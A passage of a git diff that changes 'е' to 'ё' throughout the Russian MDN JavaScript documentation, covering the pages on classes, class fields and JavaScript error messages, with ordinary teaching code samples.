 
-
        Тело класса — это часть кода, заключенная в фигурные скобки {}. Здесь вы можете объявлять члены класса, такие как методы и конструктор.
        
+
        Тело класса — это часть кода, заключённая в фигурные скобки {}. Здесь вы можете объявлять члены класса, такие как методы и конструктор.
        
 
 
        Строгий режим
        
 
@@ -154,7 +154,7 @@ Animal.eat() // класс Animal
 let eat = Animal.eat;
 eat(); // undefined
        -

        Если мы напишем этот же код используя классы основанные на функциях, тогда произойдет автоупаковка основанная на значении this, в течение которого функция была вызвана. В строгом режиме автоупаковка не произойдет - значение this останется прежним.

        +

        Если мы напишем этот же код используя классы основанные на функциях, тогда произойдёт автоупаковка основанная на значении this, в течение которого функция была вызвана. В строгом режиме автоупаковка не произойдёт - значение this останется прежним.

        function Animal() { }
 
@@ -199,7 +199,7 @@ Rectangle.prototype.prototypeWidth = 25;
 
 
        Публичные поля
        
 
-
        Используя Javascript синтаксис определения полей, приведенный выше пример может быть изменен следующим образом:
        
+
        Используя Javascript синтаксис определения полей, приведённый выше пример может быть изменён следующим образом:
        
 
 
        class Rectangle {
   height = 0;
@@ -216,7 +216,7 @@ Rectangle.prototype.prototypeWidth = 25;
 
 
        Приватные поля
        
 
-
        Предыдущий пример может быть изменен следующим образом, используя приватные поля:
        
+
        Предыдущий пример может быть изменён следующим образом, используя приватные поля:
        
 
 
        class Rectangle {
   #height = 0;
@@ -233,7 +233,7 @@ Rectangle.prototype.prototypeWidth = 25;
 
        Приватные поля могут быть объявлены только заранее в объявлении поля.
        
 
 
-
        Приватные поля не могут быть созданы позже путем присваивания им значения, в отличии от обычных свойств.
        
+
        Приватные поля не могут быть созданы позже путём присваивания им значения, в отличии от обычных свойств.
        
 
 
        Более подробно об этом написано в Приватные поля класса.
        
 
@@ -247,13 +247,13 @@ Rectangle.prototype.prototypeWidth = 25;
   }        
 
   speak() {
-    console.log(`${this.name} издает звук.`);
+    console.log(`${this.name} издаёт звук.`);
   }
 }
 
 class Dog extends Animal {
   constructor(name) {
-    super(name); // вызывает конструктор super класса и передает параметр name
+    super(name); // вызывает конструктор super класса и передаёт параметр name
   }
 
   speak() {
@@ -272,7 +272,7 @@ d.speak(); // Митци лает
        
   this.name = name;
 }
 Animal.prototype.speak = function () {
-  console.log(        `${this.name} издает звук.`);
+  console.log(`${this.name} издаёт звук.`);
 }
 
 class Dog extends Animal {
@@ -290,7 +290,7 @@ d.speak(); // Митци лает
 
 
        var Animal = {
   speak() {
-    console.log(`${this.name} издает звук.`);
+    console.log(`${this.name} издаёт звук.`);
   }
 };
 
@@ -304,7 +304,7 @@ class Dog {
 Object.setPrototypeOf(Dog.prototype, Animal);
 
 let d = new Dog('Митци');
-d.speak(); // Митци издает звук.
        
+d.speak(); // Митци издаёт звук.
        
 
 
        Species
        
 
@@ -332,7 +332,7 @@ console.log(mapped instanceof Array);   // true
        } speak() { - console.log(`${this.name} издает звук.`); + console.log(`${this.name} издаёт звук.`); } } @@ -345,7 +345,7 @@ class Lion extends Cat { let l = new Lion('Фаззи'); l.speak(); -// Фаззи издает звук. +// Фаззи издаёт звук. // Фаззи рычит. @@ -396,7 +396,7 @@ class Bar extends calculatorMixin(randomizerMixin(Foo)) { }

        Повторное определение класа

        -

        Класс не может быть переопределен. Попытка этого приведет к SyntaxError .

        +

        Класс не может быть переопределён. Попытка этого приведёт к SyntaxError .

        Если мы запускаете код в веб браузере, к примеру в Firefox Web Console (Tools > Web Developer > Web Console) и вы используете ('Run') определение класса с одним и тем же именем дважды, вы получите SyntaxError: redeclaration of let ClassName;. (Обсуждение по ошибке можно посмотреть в {{Bug(1428672)}}.) Chrome Developer Tools возвращает сообщение типа Uncaught SyntaxError: Identifier 'ClassName' has already been declared at <anonymous>:1:1.

        diff --git a/files/ru/web/javascript/reference/classes/private_class_fields/index.html b/files/ru/web/javascript/reference/classes/private_class_fields/index.html index 78a5d91787..e81a71e738 100644 --- a/files/ru/web/javascript/reference/classes/private_class_fields/index.html +++ b/files/ru/web/javascript/reference/classes/private_class_fields/index.html @@ -31,7 +31,7 @@ class ClassWithPrivateStaticField {

        Приватные поля доступны в конструкторе класса изнутри самой декларации класса.

        -

        Ограничение статических переменных, вызываемых только статическими методами, все еще сохраняется.

        +

        Ограничение статических переменных, вызываемых только статическими методами, все ещё сохраняется.

        class ClassWithPrivateStaticField {
   static #PRIVATE_STATIC_FIELD
@@ -139,7 +139,7 @@ console.log(Derived.publicStaticMethod2()); // TypeError
 
 
        Приватные методы экземпляров(instance)
        
 
-
        Приватные методы экземпляров это методы, доступные у экземпляров класса, доступ к которым запрещен также, как у приватных полей класса.
        
+
        Приватные методы экземпляров это методы, доступные у экземпляров класса, доступ к которым запрещён также, как у приватных полей класса.
        
 
 
        class ClassWithPrivateMethod {
   #privateMethod() {
diff --git a/files/ru/web/javascript/reference/classes/public_class_fields/index.html b/files/ru/web/javascript/reference/classes/public_class_fields/index.html
index ea67222e50..b32dc3d2fc 100644
--- a/files/ru/web/javascript/reference/classes/public_class_fields/index.html
+++ b/files/ru/web/javascript/reference/classes/public_class_fields/index.html
@@ -172,7 +172,7 @@ console.log(instance.publicMethod());
 }
        
 
 
        Внутри методов экземпляра, this ссылается на сам экземпляр.
        
- В классах наследниках, super дает доступ к прототипу базового класса, позволяя вызывать его методы.
        
+ В классах наследниках, super даёт доступ к прототипу базового класса, позволяя вызывать его методы.
        
 
 
        class BaseClass {
   msg = 'hello world';
diff --git a/files/ru/web/javascript/reference/classes/static/index.html b/files/ru/web/javascript/reference/classes/static/index.html
index 58ea5996c1..f97c9db2f3 100644
--- a/files/ru/web/javascript/reference/classes/static/index.html
+++ b/files/ru/web/javascript/reference/classes/static/index.html
@@ -116,7 +116,7 @@ console.log(tp.triple());
 
 
        Поддержка в браузерах
        
 
-
+
 
 
        {{Compat("javascript.classes.static")}}
        
 
diff --git a/files/ru/web/javascript/reference/errors/already_has_pragma/index.html b/files/ru/web/javascript/reference/errors/already_has_pragma/index.html
index 5de1095a97..e976c9a07d 100644
--- a/files/ru/web/javascript/reference/errors/already_has_pragma/index.html
+++ b/files/ru/web/javascript/reference/errors/already_has_pragma/index.html
@@ -22,7 +22,7 @@ translation_of: Web/JavaScript/Reference/Errors/Already_has_pragma
 
 
        Для данного источника JavaScript исходная карта была указана несколько раз.
        
 
-
        Источники JavaScript часто объединяются и минимизируются, чтобы сделать их доставку с сервера более эффективной. С помощью сопоставлений исходного кода отладчик может сопоставить выполняемый код с исходными файлами. Существует два способа назначения исходной карты: с помощью комментария или путем установки заголовка для файла JavaScript.
        
+
        Источники JavaScript часто объединяются и минимизируются, чтобы сделать их доставку с сервера более эффективной. С помощью сопоставлений исходного кода отладчик может сопоставить выполняемый код с исходными файлами. Существует два способа назначения исходной карты: с помощью комментария или путём установки заголовка для файла JavaScript.
        
 
 
         
        
 
diff --git a/files/ru/web/javascript/reference/errors/bad_radix/index.html b/files/ru/web/javascript/reference/errors/bad_radix/index.html
index b3e84de1e7..c4cc82a20b 100644
--- a/files/ru/web/javascript/reference/errors/bad_radix/index.html
+++ b/files/ru/web/javascript/reference/errors/bad_radix/index.html
@@ -25,7 +25,7 @@ RangeError: toString() radix argument must be between 2 and 36 (Chrome)
 
 
        Почему значение этого параметра не может быть больше, чем 36? Для оснований, превышающих 10, в качестве цифр используются алфавитные символы;  следовательно, основание не может быть больше 36, поскольку в латинском алфавите (используемом английским и многими другими языками) только 26 символов.
        
 
-
        Наиболее распространенные основания систем счисления:
        
+
        Наиболее распространённые основания систем счисления:
        
 
 
          
  
        • 2 для двоичных чисел,
          • 
diff --git a/files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html b/files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html
index 549b5ae654..c5c63a7200 100644
--- a/files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html
+++ b/files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html
@@ -17,7 +17,7 @@ SyntaxError: Invalid regular expression flags (Chrome)
 
 
          Что пошло не так?
          
 
-
          В коде есть недопустимые флаги регулярных выражений. Литерал в регулярном выражении, который содержит шаблон заключенный между двумя слешами, флаги определяются после второго флага. Они также могут быть объявлены в конструкторе функции {{jsxref("RegExp")}} object (второй параметр). Флаги регулярного выражения могут быть использованы отдельно или вместе в любой очередности, но в ECMAScript их только пять.
          
+
          В коде есть недопустимые флаги регулярных выражений. Литерал в регулярном выражении, который содержит шаблон заключённый между двумя слешами, флаги определяются после второго флага. Они также могут быть объявлены в конструкторе функции {{jsxref("RegExp")}} object (второй параметр). Флаги регулярного выражения могут быть использованы отдельно или вместе в любой очерёдности, но в ECMAScript их только пять.
          
 
 
          Чтоб включить флаг в регулярное выражение, используйте синтаксис:
          
 
diff --git a/files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html b/files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html
index dd69cb3167..17a6e16436 100644
--- a/files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html
+++ b/files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html
@@ -22,7 +22,7 @@ SyntaxError: yield not in function (Firefox)
 
 
          Что пошло не так?
          
 
-
          Вызов оператора return или yield был осуществлен вне функции. Может, где-то пропущена фигурная скобка? Операторы return и yield не могут существовать вне функции, поскольку они завершают (или останавливают и возобновляют) её исполнение и указывают значение, возвращаемое в место, откуда она была вызвана.
          
+
          Вызов оператора return или yield был осуществлён вне функции. Может, где-то пропущена фигурная скобка? Операторы return и yield не могут существовать вне функции, поскольку они завершают (или останавливают и возобновляют) её исполнение и указывают значение, возвращаемое в место, откуда она была вызвана.
          
 
 
          Примеры
          
 
diff --git a/files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html b/files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html
index 0d309530e6..9c1182eb7c 100644
--- a/files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html
+++ b/files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html
@@ -12,7 +12,7 @@ translation_of: Web/JavaScript/Reference/Errors/Called_on_incompatible_type
 
          TypeError: 'this' не является  Set объектом (EdgE)
 TypeError: Function.prototype.toString вызывается несовместимый объект (Firefox)
 TypeError: Function.prototype.bind вызывается несовместимая цель (Firefox)
-TypeError: Метод Set.prototype.add called вызывается несовместимый приемник undefined (Chrome)
+TypeError: Метод Set.prototype.add called вызывается несовместимый приёмник undefined (Chrome)
 TypeError: Bind должен вызываться для функции(Chrome)
 
          
 
diff --git a/files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html b/files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html
index e5c0553e8a..294f115dac 100644
--- a/files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html
+++ b/files/ru/web/javascript/reference/errors/cant_access_lexical_declaration_before_init/index.html
@@ -21,7 +21,7 @@ ReferenceError: 'x' is not defined (Chrome)
 
 
          Что случилось?
          
 
-
          Попытка доступа к лексической переменной до ее инициализации. Это может произойти в любом блоке, если попытаться обратиться к переменной, объявленной с помощью ключевых слов let или const до того, как им было присвоено значение.
          
+
          Попытка доступа к лексической переменной до её инициализации. Это может произойти в любом блоке, если попытаться обратиться к переменной, объявленной с помощью ключевых слов let или const до того, как им было присвоено значение.
          
 
 
          Примеры
          
 
diff --git a/files/ru/web/javascript/reference/errors/cant_access_property/index.html b/files/ru/web/javascript/reference/errors/cant_access_property/index.html
index df4ab49b2a..01d353480c 100644
--- a/files/ru/web/javascript/reference/errors/cant_access_property/index.html
+++ b/files/ru/web/javascript/reference/errors/cant_access_property/index.html
@@ -1,6 +1,6 @@
 ---
 title: >-
-  TypeError: can't access property "x" of "y"(Тип ошибки: не удается получить
+  TypeError: can't access property "x" of "y"(Тип ошибки: не удаётся получить
   доступ к свойству "x" из "y")
 slug: Web/JavaScript/Reference/Errors/Cant_access_property
 translation_of: Web/JavaScript/Reference/Errors/Cant_access_property
@@ -9,16 +9,16 @@ translation_of: Web/JavaScript/Reference/Errors/Cant_access_property
 
 
          Message
          
 
-
          TypeError: не удается получить свойство {x} неопределенной или нулевой ссылки (Edge)
-TypeError: не удается получить доступ к свойству {x} of {y} (Firefox)
-TypeError: {y} не определен, не может получить доступ к свойству {x} (Firefox)
+
          TypeError: не удаётся получить свойство {x} неопределённой или нулевой ссылки (Edge)
+TypeError: не удаётся получить доступ к свойству {x} of {y} (Firefox)
+TypeError: {y} не определён, не может получить доступ к свойству {x} (Firefox)
 TypeError: {y} имеет значение null, не может получить доступ к свойству {x} (Firefox)
 
 Образцы:
-TypeError: x не определен, не может получить доступ к свойству "prop"
+TypeError: x не определён, не может получить доступ к свойству "prop"
 TypeError: x имеет значение null, не может получить доступ к свойству "prop"
-TypeError: не удается получить доступ к свойству "prop" неопределенного
-TypeError: не удается получить доступ к свойству "prop" значения null
+TypeError: не удаётся получить доступ к свойству "prop" неопределённого
+TypeError: не удаётся получить доступ к свойству "prop" значения null
 
 
          
 
@@ -36,7 +36,7 @@ TypeError: не удается получить доступ к свойству
 
 
          // undefined and null cases on which the substring method won't work
 var foo = undefined;
-foo.substring(1); // TypeError: x не определен, не может получить доступ к свойству substring
+foo.substring(1); // TypeError: x не определён, не может получить доступ к свойству substring
 
 var foo = null;
 foo.substring(1); // TypeError: x имеет значение null, не может получить доступ к свойству substring
@@ -44,10 +44,10 @@ foo.substring(1); // TypeError: x имеет значение null, не мож
 
 
          Исправление проблемы
          
 
-
          Чтобы исправить указатель null на неопределенные или нулевые значения, можно использовать оператор typeof, например.
          
+
          Чтобы исправить указатель null на неопределённые или нулевые значения, можно использовать оператор typeof, например.
          
 
 
          if (typeof foo !== 'undefined') {
-  // Теперь мы знаем, что foo определен.
+  // Теперь мы знаем, что foo определён.
 }
          
 
 
          Смотрите также
          
diff --git a/files/ru/web/javascript/reference/errors/cant_delete/index.html b/files/ru/web/javascript/reference/errors/cant_delete/index.html
index 88dd78272d..ecdfb8cc30 100644
--- a/files/ru/web/javascript/reference/errors/cant_delete/index.html
+++ b/files/ru/web/javascript/reference/errors/cant_delete/index.html
@@ -9,9 +9,9 @@ translation_of: Web/JavaScript/Reference/Errors/Cant_delete
 
 
          Сообщение
          
 
-
          TypeError: вызов delete на 'x' не разрешен в строгом режиме (Edge)
+
          TypeError: вызов delete на 'x' не разрешён в строгом режиме (Edge)
 TypeError: свойство "x" не настраивается и не может быть удалено. (браузер Firefox)
-TypeError: не удается удалить свойство "x" из #<Object> (Chrome)
+TypeError: не удаётся удалить свойство "x" из #<Object> (Chrome)
 
          
 
 
          Тип ошибки
          
diff --git a/files/ru/web/javascript/reference/errors/cant_redefine_property/index.html b/files/ru/web/javascript/reference/errors/cant_redefine_property/index.html
index f164596b55..caf464a65f 100644
--- a/files/ru/web/javascript/reference/errors/cant_redefine_property/index.html
+++ b/files/ru/web/javascript/reference/errors/cant_redefine_property/index.html
@@ -1,6 +1,6 @@
 ---
 title: >-
-  TypeError: can't redefine non-configurable property "x"(Тип ошибки: не удается
+  TypeError: can't redefine non-configurable property "x"(Тип ошибки: не удаётся
   переопределить настраиваемое свойство "x")
 slug: Web/JavaScript/Reference/Errors/Cant_redefine_property
 translation_of: Web/JavaScript/Reference/Errors/Cant_redefine_property
@@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Errors/Cant_redefine_property
 
 
          TypeError: невозможно изменить свойство, недоступное для записи {x} (Edge)
 TypeError: невозможно переопределить не настраиваемое свойство "x" (Firefox)
-TypeError: не удается переопределить свойство: "x" (Chrome)
+TypeError: не удаётся переопределить свойство: "x" (Chrome)
 
          
 
 
          Тип ошибки 
          
@@ -26,13 +26,13 @@ TypeError: не удается переопределить свойство: "x
 
 
          Не настраиваемые свойства, созданные Object.defineProperty
          
 
-
          The {{jsxref("Object.defineProperty()")}} создает не настраиваемые свойства, если они не указаны как настраиваемые.
          
+
          The {{jsxref("Object.defineProperty()")}} создаёт не настраиваемые свойства, если они не указаны как настраиваемые.
          
 
 
          var obj = Object.create({});
 Object.defineProperty(obj, "foo", {value: "bar"});
 
 Object.defineProperty(obj, "foo", {value: "baz"});
-// TypeError: не удается переопределить не настраиваемое свойство "foo"
+// TypeError: не удаётся переопределить не настраиваемое свойство "foo"
 
          
 
 
          Вам нужно будет установить свойство "foo" в конфигурируемое, если вы собираетесь переопределить его позже в коде.
          
diff --git a/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html b/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html
index cfbf6eb56c..7eecd4634b 100644
--- a/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html
+++ b/files/ru/web/javascript/reference/errors/cyclic_object_value/index.html
@@ -66,5 +66,5 @@ JSON.stringify(circularReference, getCircularReplacer());
 
 
            
  
          • {{jsxref("JSON.stringify")}}
            • 
- 
          • cycle.js – вводит две функции, JSON.decycle и JSON.retrocycle, что дает возможность кодирования и декодирования циклических структур и групп обеспечения доступности баз данных в расширенный и обратно совместимый формат JSON.
            • 
+ 
          • cycle.js – вводит две функции, JSON.decycle и JSON.retrocycle, что даёт возможность кодирования и декодирования циклических структур и групп обеспечения доступности баз данных в расширенный и обратно совместимый формат JSON.
            • 
 
          
diff --git a/files/ru/web/javascript/reference/errors/dead_object/index.html b/files/ru/web/javascript/reference/errors/dead_object/index.html
index de666b01d8..7ce56344d0 100644
--- a/files/ru/web/javascript/reference/errors/dead_object/index.html
+++ b/files/ru/web/javascript/reference/errors/dead_object/index.html
@@ -1,7 +1,7 @@
 ---
 title: >-
-  TypeError: can't access dead object (Тип ошибки:не удается получить доступ к
-  мертвому объекту)
+  TypeError: can't access dead object (Тип ошибки:не удаётся получить доступ к
+  мёртвому объекту)
 slug: Web/JavaScript/Reference/Errors/Dead_object
 translation_of: Web/JavaScript/Reference/Errors/Dead_object
 ---
@@ -18,9 +18,9 @@ translation_of: Web/JavaScript/Reference/Errors/Dead_object
 
 
          Что не так?
          
 
-
          Для улучшения использования памяти и предотвращения утечек памяти Firefox запрещает надстройкам сохранять строгие ссылки на объекты DOM после уничтожения родительского документа. Мертвый объект содержит сильную ссылку (keep alive) на элемент DOM, который сохраняется даже после того, как он был уничтожен в DOM. Чтобы избежать этих проблем, ссылки на узлы DOM во внешнем документе должны храниться в объекте, который относится к этому документу, и очищаться при выгрузке документа или храниться как слабые ссылки.
          
+
          Для улучшения использования памяти и предотвращения утечек памяти Firefox запрещает надстройкам сохранять строгие ссылки на объекты DOM после уничтожения родительского документа. Мёртвый объект содержит сильную ссылку (keep alive) на элемент DOM, который сохраняется даже после того, как он был уничтожен в DOM. Чтобы избежать этих проблем, ссылки на узлы DOM во внешнем документе должны храниться в объекте, который относится к этому документу, и очищаться при выгрузке документа или храниться как слабые ссылки.
          
 
-
          Проверка, если объект мертв
          
+
          Проверка, если объект мёртв
          
 
 
          Components.utils предлагает isDeadWrapper()метод, который может использовать привилегированный код. 
          
   
          
@@ -41,8 +41,8 @@ catch (e) {
 
          Смотрите также
          
 
 
diff --git a/files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html b/files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html
index ed6a768e94..06f348e5b2 100644
--- a/files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html
+++ b/files/ru/web/javascript/reference/errors/delete_in_strict_mode/index.html
@@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Errors/Delete_in_strict_mode
 
 
          Сообщение
          
 
-
          SyntaxError: вызов delete on expression запрещен в строгом режиме в (Edge)
+
          SyntaxError: вызов delete on expression запрещён в строгом режиме в (Edge)
 SyntaxError: применение оператора 'delete' к неполному имени не рекомендуется в (Firefox)
 SyntaxError: удаление неполного идентификатора в строгом режиме запрещено в (Chrome)
 
          
@@ -33,7 +33,7 @@ SyntaxError: удаление неполного идентификатора в
 
 
          Примеры
          
 
-
          Попытка удалить простую переменную не работает в JavaScript и выдает ошибку в строгом режиме:
          
+
          Попытка удалить простую переменную не работает в JavaScript и выдаёт ошибку в строгом режиме:
          
 
 
          'use strict';
 
@@ -46,7 +46,7 @@ delete x;
 // SyntaxError: применение оператора 'delete' к неполному имени является устаревшим
 
          
 
-
          Чтобы освободить содержимое переменной, задайте для нее значение {{jsxref("null")}}:
          
+
          Чтобы освободить содержимое переменной, задайте для неё значение {{jsxref("null")}}:
          
 
 
          'use strict';
 
diff --git a/files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html b/files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html
index 7e89e085df..1e5ea400a1 100644
--- a/files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html
+++ b/files/ru/web/javascript/reference/errors/deprecated_expression_closures/index.html
@@ -19,7 +19,7 @@ translation_of: Web/JavaScript/Reference/Errors/Deprecated_expression_closures
 
 
          Что пошло не так?
          
 
-
          Нестандартный синтаксис закрытия выражений (сокращенный синтаксис функций) устарел и больше не должен использоваться. Этот синтаксис будет полностью удален в Этот синтаксис будет полностью удален в {{bug(1083458)}} а скрипты с его помощью {{jsxref("SyntaxError")}} затем.
          
+
          Нестандартный синтаксис закрытия выражений (сокращённый синтаксис функций) устарел и больше не должен использоваться. Этот синтаксис будет полностью удалён в Этот синтаксис будет полностью удалён в {{bug(1083458)}} а скрипты с его помощью {{jsxref("SyntaxError")}} затем.
          
 
 
          Примеры
          
 
@@ -49,7 +49,7 @@ var obj = {
 
 
          var x = () => 1;
          
 
-
          Стандартный синтаксис с использованием сокращенного синтаксиса метода
          
+
          Стандартный синтаксис с использованием сокращённого синтаксиса метода
          
 
 
          Замыкания выражений также можно найти с помощью getter'а и setter'а, например:
          
 
diff --git a/files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html b/files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html
index 9bfa3ffb6c..84c437a28d 100644
--- a/files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html
+++ b/files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html
@@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Errors/Deprecated_String_generics
 ---
 
          {{jsSidebar("Errors")}}
          
 
-
          Поддержка строковых обобщенных методов прекращена с версии Firefox 68. Более старые версии предупреждают об использовании данных методов следующим образом:
          
+
          Поддержка строковых обобщённых методов прекращена с версии Firefox 68. Более старые версии предупреждают об использовании данных методов следующим образом:
          
 
 
          Сообщение
          
 
@@ -45,7 +45,7 @@ Warning: String.trimRight         is deprecated; use String.prototype.trimRight
 
 
          Что пошло не так?
          
 
-
          Нестандартные обобщенные методы {{jsxref("String")}} являются устаревшими, поддержка в Firefox прекращена, начиная с версии 68. Строковые обобщенные методы предоставляют возможность применять методы экземпляров String к любым объектам.
          
+
          Нестандартные обобщённые методы {{jsxref("String")}} являются устаревшими, поддержка в Firefox прекращена, начиная с версии 68. Строковые обобщённые методы предоставляют возможность применять методы экземпляров String к любым объектам.
          
 
 
          Примеры
          
 
@@ -62,7 +62,7 @@ String(num).replace(/5/, '2');
 
 
          Прослойка
          
 
-
          Ниже приведен код прослойки, с помощью которой можно добавить поддержку обобщенных методов String в другие браузеры:
          
+
          Ниже приведён код прослойки, с помощью которой можно добавить поддержку обобщённых методов String в другие браузеры:
          
 
 
          /*globals define*/
 // Предполагаем, что все требуемые методы экземпляров String уже присутствуют
diff --git a/files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html b/files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html
index c90ca639e7..e843b0c45f 100644
--- a/files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html
+++ b/files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html
@@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Errors/Deprecated_toLocaleFormat
 
 
          Неправильный синтаксис
          
 
-
          В {{jsxref("Date.prototype.toLocaleFormat")}} метод устарел и будет удален (поддержка кроссбраузерных браузеров, доступна только в Firefox).
          
+
          В {{jsxref("Date.prototype.toLocaleFormat")}} метод устарел и будет удалён (поддержка кроссбраузерных браузеров, доступна только в Firefox).
          
 
 
          var today = new Date();
 var date = today.toLocaleFormat('%A, %e. %B %Y');
@@ -34,7 +34,7 @@ console.log(date);
 
 
          Альтернативный стандартный синтаксис с использованием ECMAScript IntlAPI
          
 
-
          Стандарт ECMA-402 (ECMAScript Intl API) определяет стандартные объекты и методы, которые позволяют форматировать дату и время с учетом языка (доступно в Chrome 24+, Firefox 29+, IE11+, Safari10+).
          
+
          Стандарт ECMA-402 (ECMAScript Intl API) определяет стандартные объекты и методы, которые позволяют форматировать дату и время с учётом языка (доступно в Chrome 24+, Firefox 29+, IE11+, Safari10+).
          
 
 
          You can now either use the {{jsxref("Date.prototype.toLocaleDateString")}} method if you just want to format one date.
          
 
diff --git a/files/ru/web/javascript/reference/errors/equal_as_assign/index.html b/files/ru/web/javascript/reference/errors/equal_as_assign/index.html
index 4219e825ba..1bea6c1135 100644
--- a/files/ru/web/javascript/reference/errors/equal_as_assign/index.html
+++ b/files/ru/web/javascript/reference/errors/equal_as_assign/index.html
@@ -18,7 +18,7 @@ translation_of: Web/JavaScript/Reference/Errors/Equal_as_assign
 
 
          Что пошло не так?
          
 
-
          Было присвоение ( = ), когда вы обычно ожидали тест на присвоение (==). Чтобы помочь отладке, JavaScript (с включенными строгими предупреждениями) предупреждает об этом шаблоне.
          
+
          Было присвоение ( = ), когда вы обычно ожидали тест на присвоение (==). Чтобы помочь отладке, JavaScript (с включёнными строгими предупреждениями) предупреждает об этом шаблоне.
          
 
 
          Примеры
          
 
diff --git a/files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html b/files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html
index d9a8f5ae2c..d44d147e44 100644
--- a/files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html
+++ b/files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html
@@ -14,7 +14,7 @@ translation_of: Web/JavaScript/Reference/Errors/For-each-in_loops_are_deprecated
 
 
          Что пошло не так?
          
 
-
          JavaScript 1.6's {{jsxref("Statements/for_each...in", "for each (variable in obj)")}} оператор устарел и будет удален в ближайшем будущем.
          
+
          JavaScript 1.6's {{jsxref("Statements/for_each...in", "for each (variable in obj)")}} оператор устарел и будет удалён в ближайшем будущем.
          
 
 
          Примеры
          
 
@@ -121,7 +121,7 @@ func(undefined);       // prints nothing
 
 
          Неправильный синтаксис
          
 
-
          Существует устаревшая идиома для итерации по парам ключ-значение указанного объекта с помощью {{jsxref("Statements/for_each...in", "for each...in")}} и осужденный {{jsxref("Iterator")}} объект.
          
+
          Существует устаревшая идиома для итерации по парам ключ-значение указанного объекта с помощью {{jsxref("Statements/for_each...in", "for each...in")}} и осуждённый {{jsxref("Iterator")}} объект.
          
 
 
          var object = { a: 10, b: 20 };
 
diff --git a/files/ru/web/javascript/reference/errors/getter_only/index.html b/files/ru/web/javascript/reference/errors/getter_only/index.html
index 9dc64f048f..c7fd7169f9 100644
--- a/files/ru/web/javascript/reference/errors/getter_only/index.html
+++ b/files/ru/web/javascript/reference/errors/getter_only/index.html
@@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Errors/Getter_only
 
 
          TypeError: назначение свойств только для чтения не допускается в строгом режиме (Edge)
 TypeError: установка свойства только для геттера "x" (Firefox)
-TypeError: не удается установить свойство "prop" из #<Object>, который имеет только геттер (Chrome)
+TypeError: не удаётся установить свойство "prop" из #<Object>, который имеет только геттер (Chrome)
 
 
          
 
@@ -25,7 +25,7 @@ TypeError: не удается установить свойство "prop" из
 
 
          Примеры
          
 
-
          В приведенном ниже примере показано, как установить getter для свойства. Он не задает сеттер, так TypeError выдается при попытке установить свойство температуры до 30. Дополнительные сведения см. Также в {{jsxref("Object.defineProperty()")}} странице.
          
+
          В приведённом ниже примере показано, как установить getter для свойства. Он не задаёт сеттер, так TypeError выдаётся при попытке установить свойство температуры до 30. Дополнительные сведения см. Также в {{jsxref("Object.defineProperty()")}} странице.
          
 
 
          "use strict";
 
@@ -45,7 +45,7 @@ arc.temperature; // 'get!'
 arc.temperature = 30;
 // TypeError: setting getter-only property "temperature"
          
 
-
          Чтобы устранить эту ошибку, необходимо либо удалить строку 16, в которой предпринята попытка задать свойство temperature, либо реализовать для нее сеттер, например, как показано ниже:
          
+
          Чтобы устранить эту ошибку, необходимо либо удалить строку 16, в которой предпринята попытка задать свойство temperature, либо реализовать для неё сеттер, например, как показано ниже:
          
 
 
          "use strict";
 
diff --git a/files/ru/web/javascript/reference/errors/identifier_after_number/index.html b/files/ru/web/javascript/reference/errors/identifier_after_number/index.html
index 71cdda791f..af7eae5389 100644
--- a/files/ru/web/javascript/reference/errors/identifier_after_number/index.html
+++ b/files/ru/web/javascript/reference/errors/identifier_after_number/index.html
@@ -22,9 +22,9 @@ SyntaxError: непредвиденное число (Chrome)
 
 
           
          
 
-
          Имена переменных, называемых {{Glossary("Identifier", "identifiers")}} соответствуют определенным правилам, которых должен придерживаться ваш код!
          
+
          Имена переменных, называемых {{Glossary("Identifier", "identifiers")}} соответствуют определённым правилам, которых должен придерживаться ваш код!
          
 
-
          Идентификатор JavaScript должен начинаться с буквы, символа подчеркивания ( _ ) или знака доллара ($). Они не могут начать с цифры! Только последующие символы могут быть цифрами (0-9).
          
+
          Идентификатор JavaScript должен начинаться с буквы, символа подчёркивания ( _ ) или знака доллара ($). Они не могут начать с цифры! Только последующие символы могут быть цифрами (0-9).
          
 
 
           
          
 
diff --git a/files/ru/web/javascript/reference/errors/in_operator_no_object/index.html b/files/ru/web/javascript/reference/errors/in_operator_no_object/index.html
index a61a8d5f41..9563af464e 100644
--- a/files/ru/web/javascript/reference/errors/in_operator_no_object/index.html
